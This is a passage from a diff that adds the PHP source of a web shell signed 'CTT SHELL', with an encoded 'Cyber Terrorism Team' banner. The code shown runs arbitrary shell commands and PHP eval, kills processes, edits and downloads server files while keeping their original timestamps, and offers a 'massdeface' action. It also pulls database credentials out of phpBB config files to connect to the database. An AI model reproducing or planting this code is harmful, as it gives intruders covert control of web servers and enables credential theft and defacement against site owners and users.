ct_sess_put($sess_data); + if (!empty($psterr)) {echo "<b> :</b><br>".$psterr;} + $act = "ls"; + } + elseif ($actarcbuff) + { + $arcerr = ""; + if (substr($actarcbuff_path,-7,7) == ".tar.gz") {$ext = ".tar.gz";} + else {$ext = ".tar.gz";} + + if ($ext == ".tar.gz") + { +$cmdline = "tar cfzv"; + } + $objects = array_merge($sess_data["copy"],$sess_data["cut"]); + foreach($objects as $v) + { +$v = str_replace("\\","/",$v); +if (is_dir($v)) +{ + if (substr($v,strlen($v)-1,strlen($v)) != "/") {$v .= "/";} + $v .= "*"; +} +$cmdline .= " ".$v; + } + $ret = `$cmdline`; + if (empty($ret)) {$arcerr .= " archivator!<br>";} + $ret = str_replace("\r\n","\n"); + $ret = explode("\n",$ret); + if ($copy_unset) {foreach($sess_data["copy"] as $k=>$v) {unset($sess_data["copy"][$k]);}} + foreach($sess_data["cut"] as $k=>$v) + { +if (in_array($v,$ret)) {fs_rmobj($v);} +unset($sess_data["cut"][$k]); + } + ct_sess_put($sess_data); + if (!empty($arcerr)) {echo "<b>Archivation errors:</b><br>".$arcerr;} + $act = "ls"; + } + elseif ($actpastebuff) + { + $psterr = ""; + foreach($sess_data["copy"] as $k=>$v) + { +$to = $d.basename($v); +if (!fs_copy_obj($v,$d)) {$psterr .= " ".$v." to ".$to."!<br>";} +if ($copy_unset) {unset($sess_data["copy"][$k]);} + } + foreach($sess_data["cut"] as $k=>$v) + { +$to = $d.basename($v); +if (!fs_move_obj($v,$d)) {$psterr .= " ".$v." to ".$to."!<br>";} +unset($sess_data["cut"][$k]); + } + ct_sess_put($sess_data); + if (!empty($psterr)) {echo "<b> :</b><br>".$psterr;} + $act = "ls"; + } +} +if ($act == "ls") +{ + if (count($ls_arr) > 0) {$list = $ls_arr;} + else + { + $list = array(); + if ($h = @opendir($d)) + { +while ($o = readdir($h)) {$list[] = $d.$o;} +closedir($h); + } + } + if (count($list) == 0) {echo "<center><b> (".htmlspecialchars($d).")!</b></center>";} + else + { + $tab = array(); + $amount = count($ld)+count($lf); + $vd = "f"; + if ($vd == "f") + { +$row = array(); +$row[] = "<b><center></b>"; +$row[] = "<b><center></center></b>"; +$row[] = "<b><center></center></b>"; +if (!$win) + {$row[] = "<b><center>/</center></b>";} +$row[] = "<b><center></center></b>"; +$row[] = "<b><center></center></b>"; + +$k = $sort[0]; +if ((!is_numeric($k)) or ($k > count($row)-2)) {$k = 0;} +if (empty($sort[1])) {$sort[1] = "d";} +if ($sort[1] != "a") +{ + $y = "<a href=\"".$sul."act=".$dspact."&d=".urlencode($d)."&sort=".$k."a\"><img src=\"".$sul."act=img&img=sort_desc\" border=\"0\"></a></center>"; +} +else +{ + $y = "<a href=\"".$sul."act=".$dspact."&d=".urlencode($d)."&sort=".$k."d\"><img src=\"".$sul."act=img&img=sort_asc\" border=\"0\"></a></center>"; +} + +$row[$k] .= $y; +for($i=0;$i<count($row)-1;$i++) +{ + if ($i != $k) {$row[$i] = "<a href=\"".$sul."act=".$dspact."&d=".urlencode($d)."&sort=".$i.$sort[1]."\">".$row[$i]."</a>";} +} + +$tab = array(); +$tab[cols] = array($row); +$tab[head] = array(); +$tab[dirs] = array(); +$tab[links] = array(); +$tab[files] = array(); + +foreach ($list as $v) +{ + $o = basename($v); + $dir = dirname($v); + + if ($disp_fullpath) {$disppath = $v;} + else {$disppath = $o;} + $disppath = str2mini($disppath,60); + + if (in_array($v,$sess_data["cut"])) {$disppath = "<strike>".$disppath."</strike>";} + elseif (in_array($v,$sess_data["copy"])) {$disppath = "<u>".$disppath."</u>";} + + $uo = urlencode($o); + $ud = urlencode($dir); + $uv = urlencode($v); + + $row = array(); + +if (is_dir($v)) + { + if (is_link($v)) {$disppath .= " => ".readlink($v); $type = "LINK";} + else {$type = "DIR";} + $row[] = "<a href=\"".$sul."act=ls&d=".$uv."&sort=".$sort."\"> <img src=\"".$sul."act=img&img=small_dir\" height=\"16\" width=\"16\" border=\"0\">&nbsp; ".$disppath."</a>"; + $row[] = $type; + } + elseif(is_file($v)) + { + $ext = explode(".",$o); + $c = count($ext)-1; + $ext = $ext[$c]; + $ext = strtolower($ext); + $row[] = "<a href=\"".$sul."act=f&f=".$uo."&d=".$ud."&\"><img src=\"".$sul."act=img&img=ext_".$ext."\" height=\"16\" width=\"16\" border=\"0\">&nbsp; ".$disppath."</a>"; + $row[] = view_size(filesize($v)); + } + $row[] = "<center>".date("d.m.Y H:i:s",filemtime($v))."</center>"; + + if (!$win) + { + $ow = @posix_getpwuid(fileowner($v)); + $gr = @posix_getgrgid(filegroup($v)); + $row[] = "<center>".$ow["name"]."/".$gr["name"]."</center>"; + } + + if (is_writable($v)) {$row[] = "<a href=\"".$sul."act=chmod&f=".$uo."&d=".$ud."\">".view_perms(fileperms($v))."</a>";} + else {$row[] = "<a href=\"".$sul."act=chmod&f=".$uo."&d=".$ud."\"><font color=\"red\">".view_perms(fileperms($v))."</font></a>";} + + if (is_dir($v)) {$row[] = "&nbsp;<input type=\"checkbox\" name=\"actbox[]\" value=\"".htmlspecialchars($v)."\">&nbsp;<a href=\"".$sul."act=onedeleted&f=".$uo."&d=".$ud."\"><img src=\"".$sul."act=img&img=odel\" title=\"Delete\" height=\"16\" width=\"19\" border=\"0\"></a>";} + else {$row[] = "&nbsp;<input type=\"checkbox\" name=\"actbox[]\" value=\"".htmlspecialchars($v)."\">&nbsp;<a href=\"".$sul."act=f&f=".$uo."&ft=edit&d=".$ud."\"><img src=\"".$sul."act=img&img=change\" height=\"16\" width=\"19\" border=\"0\"></a>&nbsp;<a href=\"".$sul."act=f&f=".$uo."&ft=download&d=".$ud."\"><img src=\"".$sul."act=img&img=download\" title=\"Download\" height=\"16\" width=\"19\" border=\"0\"></a>&nbsp;<a href=\"".$sul."act=onedelete&f=".$uo."&d=".$ud."\"><img src=\"".$sul."act=img&img=odel\" title=\"Delete\" height=\"16\" width=\"19\" border=\"0\"></a>";} + + if (($o == ".") or ($o == "..")) {$tab[head][] = $row;} + elseif (is_link($v)) {$tab[links][] = $row;} + elseif (is_dir($v)) {$tab[dirs][] = $row;} + elseif (is_file($v)) {$tab[files][] = $row;} +} + } + $v = $sort[0]; + function tabsort($a, $b) + { +global $v; +return strnatcasecmp(strip_tags($a[$v]), strip_tags($b[$v])); + } + usort($tab[dirs], "tabsort"); + usort($tab[files], "tabsort"); + if ($sort[1] == "a") + { +$tab[dirs] = array_reverse($tab[dirs]); +$tab[files] = array_reverse($tab[files]); + } + $table = array_merge($tab[cols],$tab[head],$tab[dirs],$tab[links],$tab[files]); + echo "<TABLE class=table1 cellSpacing=0 cellPadding=0 width=100% border=0> +<form method=\"POST\">"; +$smsn=0; + foreach($table as $row) + { +$smsn++; + if ($smsn!=2 && $smsn!=3) { +echo "<tr>\r\n"; +foreach($row as $v) {echo "<td class=tds1 bgcolor=#242424>".$v."</td>\r\n";} +echo "</tr>\r\n"; +} + + } + echo "</table><TABLE height=1% class=table2 cellSpacing=0 cellPadding=0 width=100% bgColor=#333333 borderColorLight=#333333 border=0> +<tr class=tr2> +<td width=8% height=1%><font size=2 color=#000000> +: ".(count($tab[dirs])+count($tab[links]))."</font></td> +<td width=8% height=1%><font size=2 color=#000000> : ".count($tab[files])."</font></td><td height=1% vAlign=top align=right>"; +if (count(array_merge($sess_data["copy"],$sess_data["cut"])) > 0 and ($usefsbuff)) + { +echo "<input type=\"submit\" name=\"actarcbuff\" value=\"Pack buffer to archive\">&nbsp;<input type=\"text\" name=\"actarcbuff_path\" value=\"archive_".substr(md5(rand(1,1000).rand(1,1000)),0,5).".tar.gz\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type=\"submit\" name=\"actpastebuff\" value=\"\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type=\"submit\" name=\"actemptybuff\" value=\" \">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;"; + } + echo "<select name=\"act\"><option value=\"".$act."\"> :</option>"; + echo "<option value=\"delete\"".gchds($dspact,"delete"," selected")."></option>"; + if ($usefsbuff) + { +echo "<option value=\"cut\"".gchds($dspact,"cut"," selected")."></option>"; +echo "<option value=\"copy\"".gchds($dspact,"copy"," selected")."></option>"; +echo "<option value=\"unselect\"".gchds($dspact,"unselect"," selected")."></option>"; + } + if ($dspact == "massdeface") {echo "<option value=\"deface\"".gchds($dspact,"deface"," selected")."></option>";} + echo "</select>&nbsp;<input type=\"submit\" value=\"\">"; + echo "</form>"; + +echo "</td></tr></table>"; +echo "</td></tr></table><br><center><font size=2 color=#aaaaaa>[<a href=http://ctt.void.ru>CTT</a>] SHELL ver ".$shver."</font></center>"; + } + +} +if ($act == "cmd") +{ + if (!empty($submit)) + { + echo "<b> </b>:<br>"; + $tmp = ob_get_contents(); + $olddir = realpath("."); + @chdir($d); + if ($tmp) + { +ob_clean(); +myshellexec($cmd); +$ret = ob_get_contents(); +$ret = convert_cyr_string($ret,"d","w"); +ob_clean(); +echo $tmp; +if ($cmd_txt) +{ + $rows = count(explode(" +",$ret))+1; + if ($rows < 10) {$rows = 10;} + echo "<br><textarea cols=\"122\" rows=\"".$rows."\" readonly>".htmlspecialchars($ret)."</textarea>"; +} +else {echo $ret;} + } + else + { +if ($cmd_txt) +{ + echo "<br><textarea cols=\"122\" rows=\"15\" readonly>"; + myshellexec($cmd); + echo "</textarea>"; +} +else {echo $ret;} + } + @chdir($olddir); + } + else {echo "<b> :</b>"; if (empty($cmd_txt)) {$cmd_txt = true;}} + echo "<form action=\"".$sul."act=cmd\" method=\"POST\"><textarea name=\"cmd\" cols=\"122\" rows=\"10\">".htmlspecialchars($cmd)."</textarea><input type=\"hidden\" name=\"d\" value=\"".$dispd."\"><br><br><input type=\"submit\" name=\"submit\" value=\"\"><input type=\"hidden\" name=\"cmd_txt\" value=\"1\""; if ($cmd_txt) {echo " checked";} echo "></form>"; +} +if ($act == "ps_aux") +{ + echo "<b>:</b><br>"; + if ($win) { +echo "<pre>"; +system('tasklist'); +echo "</pre>"; +} + else + { + if ($pid) + { +if (!$sig) {$sig = 9;} +echo "Sending signal ".$sig." to #".$pid."... "; +$ret = posix_kill($pid,$sig); +if ($ret) {echo "ok. he is dead, amen.";} +else {echo "ERROR. Can't send signal ".htmlspecialchars($sig).", to process #".htmlspecialchars($pid).".";} + } + $ret = `ps -aux`; + if (!$ret) {echo "Can't execute \"ps -aux\"!";} + else + { +$ret = htmlspecialchars($ret); +$ret = str_replace(""," ",$ret); +while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);} +$prcs = explode("\n",$ret); +$head = explode(" ",$prcs[0]); +$head[] = "ACTION"; +unset($prcs[0]); +echo "<TABLE height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1 bordercolor=\"#C0C0C0\">"; +echo "<tr border=\"1\">"; +foreach ($head as $v) {echo "<td><b>&nbsp;&nbsp;&nbsp;".$v."</b>&nbsp;&nbsp;&nbsp;</td>";} +echo "</tr>"; +foreach ($prcs as $line) +{ + if (!empty($line)) + { + echo "<tr>"; + $line = explode(" ",$line); + $line[10] = join(" ",array_slice($line,10,count($line))); + $line = array_slice($line,0,11); + $line[] = "<a href=\"".$sul."act=ps_aux&d=".urlencode($d)."&pid=".$line[1]."&sig=9\"><u>KILL</u></a>"; + foreach ($line as $v) {echo "<td>&nbsp;&nbsp;&nbsp;".$v."&nbsp;&nbsp;&nbsp;</td>";} + echo "</tr>"; + } +} +echo "</table>"; + } + } +} +if ($act == "eval") +{ + if (!empty($eval)) + { + echo "<b> PHP-</b>:<br>"; + $tmp = ob_get_contents(); + $olddir = realpath("."); + @chdir($d); + if ($tmp) + { +ob_clean(); +eval($eval); +$ret = ob_get_contents(); +$ret = convert_cyr_string($ret,"d","w"); +ob_clean(); +echo $tmp; +if ($eval_txt) +{ + $rows = count(explode(" +",$ret))+1; + if ($rows < 10) {$rows = 10;} + echo "<br><textarea cols=\"122\" rows=\"".$rows."\" readonly>".htmlspecialchars($ret)."</textarea>"; +} +else {echo $ret;} + } + else + { +if ($eval_txt) +{ + echo "<br><textarea cols=\"122\" rows=\"15\" readonly>"; + eval($eval); + echo "</textarea>"; +} +else {echo $ret;} + } + @chdir($olddir); + } + else {echo "<b>PHP- </b>"; if (empty($eval_txt)) {$eval_txt = true;}} + echo "<form method=\"POST\"><textarea name=\"eval\" cols=\"122\" rows=\"10\">".htmlspecialchars($eval)."</textarea><input type=\"hidden\" name=\"eval_txt\" value=\"1\""; if ($eval_txt) {echo " checked";} echo "><input type=\"hidden\" name=\"d\" value=\"".$dispd."\"><br><br><input type=\"submit\" value=\"\"></form>"; +} +if ($act == "f") +{ + $r = @file_get_contents($d.$f); + if (!is_readable($d.$f) and $ft != "edit") + { + if (file_exists($d.$f)) {echo "<center><b>Permision denied (".htmlspecialchars($d.$f).")!</b></center>";} + else {echo "<center><b>File does not exists (".htmlspecialchars($d.$f).")!</b><br><a href=\"".$sul."act=f&f=".urlencode($f)."&ft=edit&d=".urlencode($d)."&c=1\"><u>Create</u></a></center>";} + } + else + { + $ext = explode(".",$f); + $c = count($ext)-1; + $ext = $ext[$c]; + $ext = strtolower($ext); + $rft = ""; + foreach($ftypes as $k=>$v) + { +if (in_array($ext,$v)) {$rft = $k; break;} + } + if (eregi("sess_(.*)",$f)) {$rft = "phpsess";} + if (empty($ft)) {$ft = $rft;} + + echo "<b> :&nbsp;&nbsp;&nbsp;&nbsp;<img src=\"".$sul."act=img&img=ext_".$ext."\" border=\"0\">&nbsp;".$f." (".view_size(filesize($d.$f)).") &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;"; + if (is_writable($d.$f)) {echo "<font color=\"green\"> / (".view_perms(fileperms($d.$f)).")</font>";} + else {echo "<font color=\"red\">Read-Only (".view_perms(fileperms($d.$f)).")</font>";} + + echo "<hr size=\"1\" noshade>"; + if ($ft == "info") + { +echo "<b>Information:</b>"; +echo "<table class=tab border=0 cellspacing=1 cellpadding=2>"; +echo "<tr class=tr><td><b>Size</b></td><td> ".view_size(filesize($d.$f))."</td></tr>"; +echo "<tr class=tr><td><b>MD5</b></td><td> ".md5_file($d.$f)."</td></tr>"; +if (!$win) +{ + echo "<tr class=tr><td><b>Owner/Group</b></td><td> "; + $tmp=posix_getpwuid(fileowner($d.$f)); + if (!isset($tmp['name']) || $tmp['name']=="") echo fileowner($d.$f)." "; + else echo $tmp['name']." "; + $tmp=posix_getgrgid(filegroup($d.$f)); + if (!isset($tmp['name']) || $tmp['name']=="") echo filegroup($d.$f); + else echo $tmp['name']; +} +echo "<tr class=tr><td><b>Perms</b></td><td>"; + +if (is_writable($d.$f)) +{ + echo "<font color=\"green\">".view_perms(fileperms($d.$f))."</font>"; +} +else +{ + echo "<font>".view_perms(fileperms($d.$f))."</font>"; +} + +echo "</td></tr>"; +echo "<tr class=tr><td><b>Create time</b></td><td> ".date("d/m/Y H:i:s",filectime($d.$f))."</td></tr>"; +echo "<tr class=tr><td><b>Access time</b></td><td> ".date("d/m/Y H:i:s",fileatime($d.$f))."</td></tr>"; +echo "<tr class=tr><td><b>MODIFY time</b></td><td> ".date("d/m/Y H:i:s",filemtime($d.$f))."</td></tr>"; +echo "</table><br>"; + + +$fi = fopen($d.$f,"rb"); +if ($fi) +{ + if ($fullhexdump) + { + echo "<b>FULL HEXDUMP</b>"; + $str=fread($fi,filesize($d.$f)); + } + else + { + echo "<b>HEXDUMP PREVIEW</b>"; + $str=fread($fi,$hexdump_lines*$hexdump_rows); + } + $n=0; + $a0="00000000<br>"; + $a1=""; + $a2=""; + for ($i=0; $i<strlen($str); $i++) + { + $a1.=sprintf("%02X",ord($str[$i])).' '; + switch (ord($str[$i])) + { +case 0: $a2.="<font class=s2>0</font>"; break; +case 32: +case 10: +case 13: $a2.="&nbsp;"; break; +default: $a2.=htmlspecialchars($str[$i]); + } + $n++; + if ($n == $hexdump_rows) + { +$n = 0; +if ($i+1<strlen($str)) {$a0.=sprintf("%08X",$i+1)."<br>";} +$a1.="<br>"; +$a2.="<br>"; + } + } + echo "<table border=0 bgcolor=#666666 cellspacing=1 cellpadding=4 ". +"class=sy><tr><td bgcolor=#666666> $a0</td><td bgcolor=000000>". +"$a1</td><td bgcolor=000000>$a2</td></tr></table><br>"; +} +$encoded = ""; +if ($base64 == 1) +{ + echo "<b>Base64 Encode</b><br>"; + $encoded = base64_encode($r); +} +elseif($base64 == 2) +{ + echo "<b>Base64 Encode + Chunk</b><br>"; + $encoded = chunk_split(base64_encode($r)); +} +elseif($base64 == 3) +{ + echo "<b>Base64 Encode + Chunk + Quotes</b><br>"; + $encoded = base64_encode($r); + $encoded = substr(preg_replace("!.{1,76}!","'\\0'.\n",$encoded),0,-2); +} +elseif($base64 == 4) +{ +} +if (!empty($encoded)) +{ + echo "<textarea cols=80 rows=10>".htmlspecialchars($encoded)."</textarea><br><br>"; +} +echo "<b>HEXDUMP:</b><nobr> [<a href=\"".$sul."act=f&f=".urlencode($f)."&ft=info&fullhexdump=1&d=".urlencode($d)."\">Full</a>] [<a href=\"".$sul."act=f&f=".urlencode($f)."&ft=info&d=".urlencode($d)."\">Preview</a>]<br><b>Base64: </b> +<nobr>[<a href=\"".$sul."act=f&f=".urlencode($f)."&ft=info&base64=1&d=".urlencode($d)."\">Encode</a>]&nbsp;</nobr> +<nobr>[<a href=\"".$sul."act=f&f=".urlencode($f)."&ft=info&base64=2&d=".urlencode($d)."\">+chunk</a>]&nbsp;</nobr> +<nobr>[<a href=\"".$sul."act=f&f=".urlencode($f)."&ft=info&base64=3&d=".urlencode($d)."\">+chunk+quotes</a>]&nbsp;</nobr> +<nobr>[<a href=\"".$sul."act=f&f=".urlencode($f)."&ft=info&base64=4&d=".urlencode($d)."\">Decode</a>]&nbsp;</nobr> +<P>"; + } + elseif ($ft == "html") + { +if ($white) {@ob_clean();} +echo $r; +if ($white) {exit;} + } + elseif ($ft == "txt") + { +echo "<pre>".htmlspecialchars($r)."</pre>"; + } + elseif ($ft == "ini") + { +echo "<pre>"; +var_dump(parse_ini_file($d.$f,true)); +echo "</pre>"; + } + elseif ($ft == "phpsess") + { +echo "<pre>"; +$v = explode("|",$r); +echo $v[0]."<br>"; +var_dump(unserialize($v[1])); +echo "</pre>"; + } + elseif ($ft == "exe") + { +echo "<form action=\"".$sul."act=cmd\" method=\"POST\"><input type=\"hidden\" name=\"cmd\" value=\"".htmlspecialchars($r)."\"><input type=\"submit\" name=\"submit\" value=\"Execute\">&nbsp;<input type=\"submit\" value=\"View&Edit command\"></form>"; + } + elseif ($ft == "sdb") + { +echo "<pre>"; +var_dump(unserialize(base64_decode($r))); +echo "</pre>"; + } + elseif ($ft == "code") + { +if (ereg("phpBB 2.(.*) auto-generated config file",$r)) +{ + $arr = explode(" +",$r); + if (count($arr == 18)) + { + include($d.$f); + echo "<b>phpBB configuration is detected in this file!<br>"; + if ($dbms == "mysql4") {$dbms = "mysql";} + if ($dbms == "mysql") {echo "<a href=\"".$sul."act=sql&sql_server=".htmlspecialchars($dbhost)."&sql_login=".htmlspecialchars($dbuser)."&sql_passwd=".htmlspecialchars($dbpasswd)."\"><b><u>Connect to DB</u></b></a><br><br>";} + else {echo "But, you can't connect to forum sql-base, because db-software=\"".$dbms."\" is not supported by ctshell";} + echo "Parameters for manual connect:<br>"; + $cfgvars = array( + "dbms"=>$dbms, + "dbhost"=>$dbhost, + "dbname"=>$dbname, + "dbuser"=>$dbuser, + "dbpasswd"=>$dbpasswd + ); + foreach ($cfgvars as $k=>$v) {echo htmlspecialchars($k)."='".htmlspecialchars($v)."'<br>";} + + echo "</b>"; + echo "<hr size=\"1\" noshade>"; + } +} +echo "<div style=\"border : 0px solid #FFFFFF; padding: 1em; margin-top: 1em; margin-bottom: 1em; margin-right: 1em; margin-left: 1em; background-color: #808080;\">"; +if (!empty($white)) {@ob_clean();} +if ($rehtml) {$r = rehtmlspecialchars($r);} +$r = stripslashes($r); +$strip = false; +if(!strpos($r,"<?") && substr($r,0,2)!="<?") {$r="<?php\n".trim($r)."\n?>"; $r = trim($r); $strip = true;} +$r = @highlight_string($r, TRUE); +if ($delspace) {$buffer = str_replace ("&nbsp;", " ", $r);} +echo $r; +if (!empty($white)) {exit;} +echo "</div>"; + } + elseif ($ft == "download") + { +@ob_clean(); +header("Content-type: ctshell"); +header("Content-disposition: attachment; filename=\"".$f."\";"); +echo($r); +exit; + } + elseif ($ft == "notepad") + { +@ob_clean(); +header("Content-type: text/plain"); +header("Content-disposition: attachment; filename=\"".$f.".txt\";"); +echo($r); +exit; + } + elseif ($ft == "img") + { +if (!$white) +{ + echo "<center><img src=\"".$sul."act=f&f=".urlencode($f)."&ft=img&white=1&d=".urlencode($d)."\" border=\"1\"></center>"; +} +else +{ + @ob_clean(); + $ext = explode($f,"."); + $ext = $ext[count($ext)-1]; + header("Content-type: image/gif"); + echo($r); + exit; +} + } + elseif ($ft == "edit") + { +if (!empty($submit)) +{ + if ($filestealth) {$stat = stat($d.$f);} + if (!is_writable($d.$f) and $autochmod) {@chmod($d.$f,$autochmod);} + $fp = fopen($d.$f,"w"); + if (!$fp) {echo "<b>Can't write to file!</b>";} + else + { + echo "<b>!!!</b>"; + fwrite($fp,$nfcontent); + fclose($fp); + if ($filestealth) {touch($d.$f,$stat[9],$stat[8]);} + $r = $nfcontent; + } +} +$rows = count(explode(" +",$r)); +if ($rows < 10) {$rows = 10;} +if ($rows > 30) {$rows = 30;} +echo "<form method=\"POST\"><input type=\"submit\" name=\"submit\" value=\"\">&nbsp;<input type=\"reset\" value=\"\">&nbsp;<br><textarea name=\"nfcontent\" cols=\"122\" rows=\"".$rows."\">".htmlspecialchars($r)."</textarea></form>"; + } + elseif (!empty($ft)) {echo "<center><b>Manually selected type is incorrect. If you think, it is mistake, please send us url and dump of \$GLOBALS.</b></center>";} + else {echo "<center><b>Unknown extension (".$ext."), please, select type manually.</b></center>";} + } +} +if ($act == "phpinfo") +{ + ob_end_clean(); + phpinfo(); + exit; +} +} +$data = base64_decode("PGNlbnRlcj48Zm9udCBzaXplPTIgY29sb3I9IzAwZmYwMD5DeWJlciBUZXJyb3Jpc20gVGVhbTwvZm9udD48YnI+PGZvbnQgc2l6ZT0yPg0KyOTl/ywg6Ofs5e3l7ej/IOTo5+Dp7eAg6CDx6vDo7/LgIOTu4eDi6Os6PC9mb250PjxpbWcgc3JjPWh0dHA6Ly9vbmxpbmUubWlyYWJpbGlzLmNvbS9zY3JpcHRzL29ubGluZS5kbGw/aWNxPTMzNTk3NjAyMSZpbWc9NSBoZWlnaHQ9MTggd2lkdGg9MTg+PGZvbnQgc2l6ZT0yIGNvbG9yPSNGRkRFMDA+IFJPRE5PQzwvZm9udD48L2NlbnRlcj4="); +if ($act == "img") +{ + @ob_clean(); + + $arrimg = array( +"arrow_ltr"=> +"R0lGODlhJgAWAIAAAAAAAP///yH5BAUUAAEALAAAAAAmABYAAAIvjI+py+0PF4i0gVvzuVxXDnoQ". +"SIrUZGZoerKf28KjPNPOaku5RfZ+uQsKh8RiogAAOw==", +"back"=> +"R0lGODlhFAAUAKIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8". +"aLrc/jDKSWWpjVysSNiYJ4CUOBJoqjniILzwuzLtYN/3zBSErf6kBW+gKRiPRghPh+EFK0mOUEqt". +"Wg0JADs=", +"buffer"=> +"R0lGODlhFAAUAKIAAAAAAP////j4+N3d3czMzLKysoaGhv///yH5BAEAAAcALAAAAAAUABQAAANo". +"eLrcribG90y4F1Amu5+NhY2kxl2CMKwrQRSGuVjp4LmwDAWqiAGFXChg+xhnRB+ptLOhai1crEmD". +"Dlwv4cEC46mi2YgJQKaxsEGDFnnGwWDTEzj9jrPRdbhuG8Cr/2INZIOEhXsbDwkAOw==", +"change"=> +"R0lGODlhFAAUAMQfAL3hj7nX+pqo1ejy/f7YAcTb+8vh+6FtH56WZtvr/RAQEZecx9Ll/PX6/v3+". +"/3eHt6q88eHu/ZkfH3yVyIuQt+72/kOm99fo/P8AZm57rkGS4Hez6pil9oep3GZmZv///yH5BAEA". +"AB8ALAAAAAAUABQAAAWf4CeOZGme6NmtLOulX+c4TVNVQ7e9qFzfg4HFonkdJA5S54cbRAoFyEOC". +"wSiUtmYkkrgwOAeA5zrqaLldBiNMIJeD266XYTgQDm5Rx8mdG+oAbSYdaH4Ga3c8JBMJaXQGBQgA". +"CHkjE4aQkQ0AlSITan+ZAQqkiiQPj1AFAaMKEKYjD39QrKwKAa8nGQK8Agu/CxTCsCMexsfIxjDL". +"zMshADs=", +"delete"=> +"R0lGODlhFAAUAOZZAPz8/NPFyNgHLs0YOvPz8/b29sacpNXV1fX19cwXOfDw8Kenp/n5+etgeunp". +"6dcGLMMpRurq6pKSktvb2+/v7+1wh3R0dPnP17iAipxyel9fX7djcscSM93d3ZGRkeEsTevd4LCw". +"sGRkZGpOU+IfQ+EQNoh6fdIcPeHh4YWFhbJQYvLy8ui+xm5ubsxccOx8kcM4UtY9WeAdQYmJifWv". +"vHx8fMnJycM3Uf3v8rRue98ONbOzs9YFK5SUlKYoP+Tk5N0oSufn57ZGWsQrR9kIL5CQkOPj42Vl". +"ZeAPNudAX9sKMPv7+15QU5ubm39/f8e5u4xiatra2ubKz8PDw+pfee9/lMK0t81rfd8AKf///wAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5". +"BAEAAFkALAAAAAAUABQAAAesgFmCg4SFhoeIhiUfIImIMlgQB46GLAlYQkaFVVhSAIZLT5cbEYI4". +"STo5MxOfhQwBA1gYChckQBk1OwiIALACLkgxJilTBI69RFhDFh4HDJRZVFgPPFBR0FkNWDdMHA8G". +"BZTaMCISVgMC4IkVWCcaPSi96OqGNFhKI04dgr0QWFcKDL3A4uOIjVZZABxQIWDBLkIEQrRoQsHQ". +"jwVFHBgiEGQFIgQasYkcSbJQIAA7", +"download"=> +"R0lGODlhEQAPAKIAAO/v8N3e387OzpSt72NzrVFZfCkxUv///yH5BAUUAAcALAAAAAARAA8AAANSe". +"Grc3uoYAEq4wWZqFtWXVnBehWUhKQ1V4b6uagwsZd/ATO84ru+0k/C3MxCOSIyDZhQ4nYRnZ2UQRJ9". +"W6aKaxV4F02r1CwWDF2bYyzyVPN6dBAA7", +"edit"=> +"R0lGODlhFAAUALMAAAAAAP///93d3czMzLKysoaGhmZmZl9fXwQEBP///wAAAAAAAAAAAAAAAAAA". +"AAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJqyzFalqEQJuGEQSCnWg6FogpkHAMF4HAJsWh7/ze". +"EQYQLUAsGgM0Wwt3bCJfQSFx10yyBlJn8RfEMgM9X+3qHWq5iED5yCsMCl111knDpuXfYls+IK61". +"LXd+WWEHLUd/ToJFZQOOj5CRjiCBlZaXIBEAOw==", +"forward"=> +"R0lGODlhFAAUAPIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8". +"aLrc/jDK2Qp9xV5WiN5G50FZaRLD6IhE66Lpt3RDbd9CQFSE4P++QW7He7UKPh0IqVw2l0RQSEqt". +"WqsJADs=", +"home"=> +"R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzLKysoaGhmZmZgQEBP///wAAAAAAAAAAAAAAAAAA". +"AAAAACH5BAEAAAkALAAAAAAUABQAAAR+MMk5TTWI6ipyMoO3cUWRgeJoCCaLoKO0mq0ZxjNSBDWS". +"krqAsLfJ7YQBl4tiRCYFSpPMdRRCoQOiL4i8CgZgk09WfWLBYZHB6UWjCequwEDHuOEVK3QtgN/j". +"VwMrBDZvgF+ChHaGeYiCBQYHCH8VBJaWdAeSl5YiW5+goBIRADs=", +"mode"=> +"R0lGODlhHQAUALMAAAAAAP///6CgpN3d3czMzIaGhmZmZl9fX////wAAAAAAAAAAAAAAAAAAAAAA". +"AAAAACH5BAEAAAgALAAAAAAdABQAAASBEMlJq70461m6/+AHZMUgnGiqniNWHHAsz3F7FUGu73xO". +"2BZcwGDoEXk/Uq4ICACeQ6fzmXTlns0ddle99b7cFvYpER55Z10Xy1lKt8wpoIsACrdaqBpYEYK/". +"dH1LRWiEe0pRTXBvVHwUd3o6eD6OHASXmJmamJUSY5+gnxujpBIRADs=", +"refresh"=> +"R0lGODlhEQAUALMAAAAAAP////Hx8erq6uPj493d3czMzLKysoaGhmZmZl9fXwQEBP///wAAAAAA". +"AAAAACH5BAEAAAwALAAAAAARABQAAAR1kMlJq0Q460xR+GAoIMvkheIYlMyJBkJ8lm6YxMKi6zWY". +"3AKCYbjo/Y4EQqFgKIYUh8EvuWQ6PwPFQJpULpunrXZLrYKx20G3oDA7093Esv19q5O/woFu9ZAJ". +"R3lufmWCVX13h3KHfWWMjGBDkpOUTTuXmJgRADs=", +"search"=> +"R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzMDAwLKysoaGhnd3d2ZmZl9fX01NTSkpKQQEBP//". +"/wAAACH5BAEAAA4ALAAAAAAUABQAAASn0Ml5qj0z5xr6+JZGeUZpHIqRNOIRfIYiy+a6vcOpHOap". +"s5IKQccz8XgK4EGgQqWMvkrSscylhoaFVmuZLgUDAnZxEBMODSnrkhiSCZ4CGrUWMA+LLDxuSHsD". +"AkN4C3sfBX10VHaBJ4QfA4eIU4pijQcFmCVoNkFlggcMRScNSUCdJyhoDasNZ5MTDVsXBwlviRmr". 